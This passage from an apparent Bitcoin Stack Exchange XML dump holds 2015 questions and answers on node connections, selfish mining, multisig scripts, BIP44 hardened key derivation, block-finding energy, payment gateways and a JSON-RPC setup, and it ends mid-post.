  <row Id="36506" PostTypeId="2" ParentId="36503" CreationDate="2015-03-18T17:10:15.907" Score="4" Body="&lt;p&gt;If you use &lt;code&gt;connect&lt;/code&gt; your bitcoind will exclusively connect to the nodes that you have specified in conjunction with &lt;code&gt;connect&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use &lt;code&gt;addnode&lt;/code&gt; your bitcoind will preferably connect to the specified nodes, but will also announce itself to other peers that are connected to them and try to make more connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes that you had specified with &lt;code&gt;connect&lt;/code&gt; might have been overloaded and therefore hadn't sent any data or even didn't accept the connection request. On the other hand, using &lt;code&gt;addnode&lt;/code&gt; might have allowed your daemon to find additional peers that have seeded the data instead.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-03-19T21:12:17.337" LastActivityDate="2015-03-19T21:12:17.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36507" PostTypeId="2" ParentId="36505" CreationDate="2015-03-18T17:36:12.447" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Now, if I discover a block, won't both my localhost GBT &quot;pool&quot; and the remote pool claim it as theirs?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. That isn't possible. Changing the coinbase transaction (what controls where a block reward goes) invalidates the block. All that happens is that the block propagates slightly faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11562/cheating-on-pooled-mining&quot;&gt;Cheating on pooled mining&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This appears to be known as the &quot;selfish mining attack.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually, that's something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/23799/2306&quot;&gt;Luca Matteis explains:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You're missing the main point: when a selfish miner finds a new block,&#xA;  he keeps it private, does not broadcast it to the network, and starts&#xA;  mining on top of that privately.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The rest of the network is still mining on a block that was actually&#xA;  already found, but not broadcast.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When the rest of the network finally finds this block, the selfish&#xA;  miner broadcasts his version, in an attempt to replace it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;By invalidating blocks this way a selfish miner is effectively wasting&#xA;  other people's cycles, and has a head start for winning the next&#xA;  block, because he started mining on it before the others.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-03-18T17:36:12.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36508" PostTypeId="2" ParentId="36505" CreationDate="2015-03-18T17:37:59.287" Score="2" Body="&lt;p&gt;You might be connected to both pools, but only working for one: When you mine, the block you are trying to find contains a recipient address for the block reward. Therefore, a block can only contribute to one mining pool (i.e. the one that would be receiving the reward, if the block was successful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you find a block, the &lt;code&gt;#allblocks&lt;/code&gt; mentioned in the linked thread, causes the block to be &lt;em&gt;propagated&lt;/em&gt; to all connected pools. This will cause your block to be distributed quicker and prevent &lt;em&gt;selfish mining&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Selfish mining&lt;/em&gt; is something else than you seem to think: It describes a behavior, where a pool will keep a discovered block private, until another party finds a block or the pool itself finds a succeeding block. That way the pool can hinder other parties to base work on the discovered block, and can gain a &quot;headstart&quot; on a succeeding block.&lt;br&gt;&#xA;Due to you submitting your block to the pool and also propagating it to the network, the pool operator can't keep the block hidden and therefore cannot perform selfish mining.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-03-18T22:13:28.010" LastActivityDate="2015-03-18T22:13:28.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36510" PostTypeId="2" ParentId="12365" CreationDate="2015-03-18T19:38:42.880" Score="1" Body="&lt;p&gt;It is a multisignature 2-of-2 address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have annotated the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey length: 51&#xA;Push the following 33 bytes onto the stack: 21&#xA;Compressed public key: 0241b8aba0994f320a8b438c627dbf31fbdd7dc722dd8418d829d67a9c6e4fd690&#xA;Push the following 33 bytes onto the stack: 21&#xA;Compressed public key: 036fbd9d0a34a569f10b0431c8aeecf74ad796b99838b7272ef35ded130a794f9b&#xA;OP_2: 52&#xA;OP_CHECKMULTISIG: ae&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you change DONATION_SCRIPT[2:35] to your own compressed public key, and DONATION_SCRIPT[36:69] to another compressed public key, that should work.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-18T19:38:42.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36511" PostTypeId="2" ParentId="21721" CreationDate="2015-03-18T20:04:22.313" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it common for the site to immediately send the received coins to its superwallet (master node) upon X confirmations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Not at all and would normally be considered very bad practice as in bitcoin you don't spend from addresses but from transactions, so &quot;accumulating&quot; in one address doesn't really work. Sending from that address would again have to reference all the forwarded transactions. (There are special cases like green address in its original implementation but no, that's a thing of the past.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And how would u know when a payment is sent to one of the derived addresses?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You watch the bitcoin network? Either through proxies or with a full node. Check out the insight.bitpay.com API.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let's assume the case with a derivation path of m/k'/0/i, where m is the master node, ever user has a k node and i is his i'th purchase transaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would strongly advise to hold that logic in the server, only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eCommerce sounds like one central server, so there is really no big need to fan out too much in the HD wallet structure. You should also look into &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0044.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP44&lt;/a&gt; on transaction discovery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your business logic has to keep track what purpose an address has but if that website never has to send refunds, it would typically only have an extended public key. Now if it receives to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m / 44' / 0' / i' / 0 / j&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any bip44 compatible wallet would find and be able to spend the funds if you provided it with at least the xpriv key for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m / 44' / 0' / i' / 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but typically&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m / 44' / 0' / i'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One minor thing you have to keep track of, is the gap between addresses that don't receive a payment. If your server observes a gap of more than 20, you would have to help your wallet to find those funds if it's strictly bip44 which would only bridge gaps up to 20. If your last transaction is to index 1220 and you don't see transactions to 1255 and 1257, you could send a satoshi to 1239 and your wallet would find the rest.&lt;/p&gt;&#xA;" OwnerUserId="2825" LastActivityDate="2015-03-18T20:04:22.313" CommentCount="0" CommunityOwnedDate="2015-03-18T20:04:22.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="36512" PostTypeId="1" AcceptedAnswerId="36515" CreationDate="2015-03-18T20:06:44.090" Score="7" ViewCount="2195" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0044.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP44&lt;/a&gt; uses &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;hardening/private derivation&lt;/a&gt; on most levels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m / purpose' / coin_type' / account' / change / address_index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but not on the change and address_index level. First of all, what does hardening achieve and secondly, what would be the disadvantage of always hardening other than having just half of 2³² paths at that level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understood, non-hardened paths allow at the presence of just one simple private key, to learn the xpriv key of the address and if that is not hardened, also the next higher xpriv key all the way up to the first hardened path. Is that so and if yes, what advantage would it have, other than providing 2 billion addresses more in that account's external and change path assuming that the overflow into hardened address spaces were allowed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little code to see if/what I got right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var wallet = HDPrivateKey()&#xA;    var hardened = wallet.derive(4, true)&#xA;    var nonHardened = hardened.derive(4, false)&#xA;&#xA;    console.log(hardened.publicKey.toAddress().toString())&#xA;    // the payee gets this anyway&#xA;    console.log(hardened.publicKey.toString())&#xA;    // once I spend from my address, I have to reveal this. It's probably secure to&#xA;    // re-use the address but better not to.&#xA;    console.log(hardened.privateKey.toString())&#xA;    // at this point, you can spend funds that are received to above address and&#xA;    // only that&#xA;    console.log(hardened.xpubkey)&#xA;    // you now know all my addresses I could derive from hardened. Do you know any&#xA;    // private keys except for the one I explicitly shared a line before?&#xA;    console.log(hardened.xprivkey)&#xA;    // now you can spend from all the addresses derivable from hardened but learn&#xA;    // nothing else about wallet.&#xA;&#xA;    console.log(nonHardened.publicKey.toAddress().toString())&#xA;    console.log(nonHardened.publicKey.toString())&#xA;    console.log(nonHardened.privateKey.toString())&#xA;    console.log(nonHardened.xpubkey)&#xA;    // in difference to the hardened case, you would now learn about nonHardened but&#xA;    // also (once again) about hardened? What could you actually learn?&#xA;    console.log(nonHardened.xprivkey)&#xA;    // would this line leak any information that wasn't already leaked in the last&#xA;    // block?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    1c6dKRqvYPiCQx2R3u75pxGfy15g7jfU4&#xA;    0342619d3209b6859f4d88e3b1deaa1acee734c94d625b7d59b286b6842c90bd60&#xA;    4c461799315979063858208f6c3e8b33f29ceb10c42389690cd0a20427715845&#xA;    xpub68GCDysH8nE2Nuodq1ncV4jYiWvajzZyjVr6Pt8N46QAKC3CPxjj8G6AcE7sdvGypzXZFRRHYjRokhTty6LC8MErRifGiJFeTbTBYL9QfTg&#xA;    xprv9uGqpULPJQfjARjAizFc7vnpAV66LXr8NGvVbVikVksBSPi3rRRUaTmgkwDii6TFzWWFsch7Qc2v6eM1ZcJAJLv8ybvw7YY4qwLwvfFJoAp&#xA;&#xA;    1NsxMLRhXasbHaskKVQK4qiJpBZgjTs3Aq&#xA;    026653baf78fb78cfb9845faa43080dfc452991422edc67f5ba085d02786364670&#xA;    afdb89aaf2f02987dfc47cc655fb4e1fb5cdd545af44875b4176805dc8f60852&#xA;    xpub69pTp8pV8Fcmkf3HuiWnzGE42MJcMrTtegoZaLApLUSvhugH6YNKgTtVfk2asMNZWKynCpFoCGePbHLfwJqsLtPskSv5cPF6j1FqmdaNCrE&#xA;    xprv9vq7QdHbHt4UYAxpogynd8HKUKU7xPk3HTsxmwmCn8uwq7M8Z1458fa1pVZCfWYWUWMG7p7b99NzJnSwZAnQR6EmN4awbcKZrfdrcmXAXqy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2825" LastEditorUserId="2306" LastEditDate="2015-03-18T21:20:52.540" LastActivityDate="2015-03-20T04:39:39.163" Title="Why does BIP44 use non-hardened paths at all?" Tags="|bip32-hd-wallets|bip44|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36513" PostTypeId="1" CreationDate="2015-03-18T20:17:56.233" Score="3" ViewCount="429" Body="&lt;p&gt;What is the minimum energy (or CPU operations) required for someone to confirm one block on their own, to launch a double-spend attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I calculate this from the current difficulty or hashrate?&lt;/p&gt;&#xA;" OwnerUserId="11591" LastEditorUserId="11591" LastEditDate="2015-03-18T21:22:59.483" LastActivityDate="2018-09-30T15:20:02.047" Title="Energy to confirm one block?" Tags="|block|difficulty|confirmations|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36514" PostTypeId="1" AcceptedAnswerId="39324" CreationDate="2015-03-18T20:54:18.910" Score="3" ViewCount="558" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoinwisdom.com/bitcoin/difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin mining difficulty has been through some interesting ups and downs lately.&lt;/a&gt; (I've supplied snapshots below to give context for future readers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering its long history of pretty much only going up for years, I'm wondering what people involved with mining should think about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some base questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the primary cause? Are miners leaving as new ones come it, or are new ones no longer interested?&lt;/li&gt;&#xA;&lt;li&gt;Why are miners leaving/not starting?&lt;/li&gt;&#xA;&lt;li&gt;If it truly is leveling, or at least resuming a slight growth pattern, how does this affect Bitcoin price in general? What about during &quot;events&quot; such as halving of the block reward?&lt;/li&gt;&#xA;&lt;li&gt;In principal, should Bitcoin value be related to difficulty in a predictable way, and is this leveling something that facilitates that or not?&lt;/li&gt;&#xA;&lt;li&gt;Lastly, does a stable difficulty help encourage Bitcoin's use in anyway? In other words, if people aren't getting into mining but are getting into Bitcoin, do they generally consider difficulty as a factor in this decision?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm not necessarily asking that you answer all those questions. Instead, I'm trying to show that I am interested in how an extended period of leveled and stable difficulty, as we seem to be heading into (Spring 2015), affects the economics of Bitcoin mining and use.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's snapshots of that page (clickable):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9ryHI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ryHI.png&quot; alt=&quot;Main points. Predict -2% change in 4 days.&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kQYOj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kQYOj.png&quot; alt=&quot;Hashrate vs. Difficulty (9 Months)&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sTGY6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sTGY6.png&quot; alt=&quot;Time vs. Difficulty&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/r3nYJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r3nYJ.png&quot; alt=&quot;Difficulty History Table&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="5406" LastEditDate="2016-04-01T09:32:29.863" LastActivityDate="2016-04-01T09:32:29.863" Title="Is mining difficulty leveling out (Spring 2015)? How does this affect the economics of Bitcoin?" Tags="|difficulty|mining-profitability|mining-hardware|hashpower|user-base|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36515" PostTypeId="2" ParentId="36512" CreationDate="2015-03-18T21:55:36.350" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does BIP44 use non-hardened paths at all?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Imagine you have a website where you want to sell things. You need the website to be able to generate addresses, but you don't want it to be able to spend from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, you can give the website an account-level extended public key, and it can generate the non-hardened addresses you need from that. You wouldn't be able to create hardened addresses; you'd need the account private key to make new hardened addresses.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// you now know all my addresses I could derive from hardened. Do you know any&#xA;// private keys except for the one I explicitly shared a line before?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No. I know a private key, but I can't work out the parent key or any siblings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// in difference to the hardened case, you would now learn about nonHardened but&#xA;// also (once again) about hardened? What could you actually learn? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even though this key isn't hardened, I don't know the chain code of the parent key, so I can't compromise sibling keys or even associate that key with any of its siblings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// would this line leak any information that wasn't already leaked in the last&#xA;// block?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nope. However, if you also exposed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wallet.derive(&quot;m&quot;).xpubkey&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I'd have enough information to compromise your wallet.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-20T04:39:39.163" LastActivityDate="2015-03-20T04:39:39.163" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36516" PostTypeId="1" CreationDate="2015-03-18T22:09:35.243" Score="3" ViewCount="681" Body="&lt;p&gt;I'm starting an online business. My website is hosted on OVH I would like to send a download link after a bitcoin payment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Are there specific stuffs I should be aware of?&#xA;Is this difficult to develop? (I have a bit of experience with JS, JAVA HTML/CSS) but I don't really knwow where to start with the GET... commands.&#xA;Is it safe to store the file directly on my FTP?&#xA;Do external websites already provide this kind of services (payment and download)?&#xA;What could be the best language to use with the blockchain api?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just to be more specific:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the scheme of the whole think would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user: I'm interested in your product.&#xA;server: Please pay for it with your bitcoins.&#xA;user: I'll do that I'll go on your dedicated page.&#xA;server: Ok we received your payment you just received a link for you to download our file.&#xA;user: thanks it worked!!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;your help is appreciated many thanks in advance,&lt;/p&gt;&#xA;" OwnerUserId="24753" LastActivityDate="2019-05-29T08:53:15.627" Title="Send download link of a file after Bitcoin payment" Tags="|api|blockchain.info|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36517" PostTypeId="2" ParentId="36516" CreationDate="2015-03-18T22:53:42.137" Score="1" Body="&lt;p&gt;You do not need to deal directly with the blockchain. The answer is:&lt;/p&gt;&#xA;&lt;h2&gt;Payment Gateways&lt;/h2&gt;&#xA;&lt;p&gt;There are services called &lt;a href=&quot;http://en.wikipedia.org/wiki/Payment_gateway&quot; rel=&quot;nofollow noreferrer&quot;&gt;Payment Gateways&lt;/a&gt; that encapsulate the entire invoicing/payment process and allow you to check on the status of each payment (manually or programmatically) to offer your goods.&lt;/p&gt;&#xA;&lt;p&gt;One such example for bitcoin is &lt;a href=&quot;https://bitpay.com/developers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitpay&lt;/a&gt;. Bitpay provides you with a &lt;a href=&quot;http://en.wikipedia.org/wiki/Representational_state_transfer&quot; rel=&quot;nofollow noreferrer&quot;&gt;RESTful&lt;/a&gt; API which you can call/query for information retrieval and/or for the execution of specific orders/transactions. You can find all the details in this &lt;a href=&quot;https://bitpay.com/api&quot; rel=&quot;nofollow noreferrer&quot;&gt;API reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As far as the implementation goes, Bitpay provides you with numerous clients in different programming/scripting languages, namely: PHP, python, Node.js, Ruby, Java, C# etc...&lt;/p&gt;&#xA;&lt;p&gt;There are many bitcoin payment gateways available with different offerings and pricing schemes. Do some research to find the one most suitable for your budget and task.&lt;/p&gt;&#xA;&lt;p&gt;Is it difficult to accomplish? Not necessarily. However, this is highly dependent on your level of skill and knowledge in programming specifically web development.&#xA;I would also recommend you hire a specialist to do this for you if your grip on security is not so well, since security is one of the major concerns when dealing with financial transactions.&lt;/p&gt;&#xA;" OwnerUserId="14920" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-03-19T20:24:52.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36518" PostTypeId="2" ParentId="36513" CreationDate="2015-03-19T00:26:45.423" Score="3" Body="&lt;p&gt;There is no minimum. In theory, you could find a valid block on your very first attempt. The best we can do is an average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the average energy required to find one valid block using CPU mining:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;average energy required = difficulty * 2&lt;sup&gt;32&lt;/sup&gt; / 2*10^6 * joules&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or, at current difficulty, &lt;a href=&quot;http://www.wolframalpha.com/input/?i=47%2C427%2C554%2C951+*+2%5E32+%2F+2*10%5E6+Joules&quot; rel=&quot;nofollow&quot;&gt;1.018×10^14 joules&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;difficulty * 2&lt;sup&gt;32&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The average number of hashes to find a block.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2*10^6 * joules&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to the Bitcoin wiki, the &lt;a href=&quot;https://en.bitcoin.it/wiki/Non-specialized_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;typical mining efficiency for CPUs&lt;/a&gt; is 2 Mhash/J.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-19T00:26:45.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36519" PostTypeId="2" ParentId="36486" CreationDate="2015-03-19T01:14:01.583" Score="1" Body="&lt;p&gt;The First step is to have your own genesis block. Use &lt;a href=&quot;https://github.com/lhartikk/GenesisH0&quot; rel=&quot;nofollow&quot;&gt;GenesisH0&lt;/a&gt; or &lt;a href=&quot;https://github.com/Gnaf/GenesisBlockZero&quot; rel=&quot;nofollow&quot;&gt;GenesisBlockZero&lt;/a&gt; to get Genesis Hash, Merkle Tree Root and Timestamp. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the collected information above into &quot;chainparams.cpp&quot;. Compile bitcoin source code and run &quot;bitcoind -daemon&quot;. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you should have the first block of your own blockchain.&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-03-19T01:14:01.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36520" PostTypeId="1" CreationDate="2015-03-19T05:34:58.617" Score="2" ViewCount="1654" Body="&lt;p&gt;I'm looking for transaction level data for both inputs and outputs. The &lt;a href=&quot;https://github.com/znort987/blockparser&quot; rel=&quot;nofollow&quot;&gt;znort block parser&lt;/a&gt; returns the type of data I'm looking for, however it doesn't seem to detect multisig transactions. Has anyone updated the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's another parser written by &lt;a href=&quot;https://code.google.com/p/blockchain/&quot; rel=&quot;nofollow&quot;&gt;John Ratcliff&lt;/a&gt; which properly detects the multisig transactions, however this does not return transaction level data. Has anyone modified this code to return individual inputs and outputs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other parsers available to return transaction level data for inputs and outputs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="24755" LastActivityDate="2015-05-18T16:05:07.553" Title="Blockchain parser for transaction level details" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36521" PostTypeId="2" ParentId="30445" CreationDate="2015-03-19T07:07:49.040" Score="1" Body="&lt;p&gt;Pros are that it has a tradable asset that lets users exchange currency using NXT's native APIs, instead of Cryptsy's custom APIs. It also is typically cheaper than SecureAE.com's list price(although they seem to underquote/over-deliver on their exchange rate). Lastly, it works; I've gotten ripped off. If someone wanted to take the money deposited, they'd have to hack into 2 servers instead of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cons are that it's not actually decentralized, put simply the center is larger. With N(likely 3) servers there  may not be a single target, but the power of the entire trading network rests on N nodes. Worse yet, it's unclear who runs the N servers: JL777? JL777's friends? or did JL777 pick N-1 people he(James) does(or doesn't) know? SecureAE, Bter, and other exchanges are also centralized, but they also don't market themselves to be decentralized.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastActivityDate="2015-03-19T07:07:49.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36522" PostTypeId="1" AcceptedAnswerId="36524" CreationDate="2015-03-19T11:08:50.593" Score="0" ViewCount="65" Body="&lt;p&gt;Litecoin has faster blocks, but needs more confirms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this is because of possible reorgs, but how come it also needs 10 minutes for confirms even though the blocks are faster?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="2306" LastEditDate="2015-03-19T20:49:05.587" LastActivityDate="2015-03-19T23:14:31.353" Title="Why doesn't the block time influence time the amount of time needed for a transaction to be confirmed?" Tags="|protocol|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36524" PostTypeId="2" ParentId="36522" CreationDate="2015-03-19T13:08:12.373" Score="1" Body="&lt;p&gt;If a block is found super fast, like 1 minute, then you have your first confirmation in 1 minute. The 10 minutes is average of time between block confirmation. In fact, since the network in increasing in speed, we are more or less confirming block at 9 minutes each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some case, we are out of luck and a single block can take 30 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the number of confirmation required to accept a payment is totally as the discretion of the merchant. You can accept with 0 confirmation, 1 or 2. Some go more than that but that should be for very big amount (like 100,000$ +).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alt coin can confirmed in 10 sec, that's irrelevant because 10 confirmations in that blockchain is still less secure than a single confirmation from the bitcoin network because finding a block in the bitcoin network is harder than finding 10 block in an alt-coin.&lt;/p&gt;&#xA;" OwnerUserId="2609" LastEditorUserId="2306" LastEditDate="2015-03-19T20:49:35.860" LastActivityDate="2015-03-19T20:49:35.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36525" PostTypeId="2" ParentId="36520" CreationDate="2015-03-19T14:51:36.023" Score="1" Body="&lt;p&gt;I guess you're looking for a blockchain explorer. Insight, by BitPay, works pretty well and is open-source: &lt;a href=&quot;https://github.com/bitpay/insight&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/insight&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-03-19T14:51:36.023" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36526" PostTypeId="1" CreationDate="2015-03-19T18:33:17.770" Score="1" ViewCount="810" Body="&lt;p&gt;I'm trying to interact with the bitcoin network with Bitcoin Core server and the JSON RPC PHP library found on the wiki here: &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the Bitcoin core client, created the bitcoin.conf file with the settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=finder&#xA;rpcpassword=AcdfghHBTfYHTFytBG526&#xA;server=1&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the wallet is synchronised with the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the example on the wiki like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'jsonRPCClient.php';&#xA;$bitcoin = new   